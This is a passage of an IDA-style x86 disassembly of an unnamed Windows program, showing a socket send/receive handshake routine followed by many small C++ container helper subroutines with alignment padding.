		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4218C2
		push	0
		push	18h
		push	offset dword_444E1C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4218C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4218C2
		push	10h
		push	offset loc_444DF4
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421891
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421891:				; CODE XREF: ___:0042186Ej
		push	10h
		push	offset dword_444E08
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4218C2:				; CODE XREF: ___:004217DBj
					; ___:004217F6j ...
		push	esi
		call	near ptr 71AB9639h
		nop


loc_4218C9:				; CODE XREF: ___:0042177Ej
					; ___:00421787j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421950:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
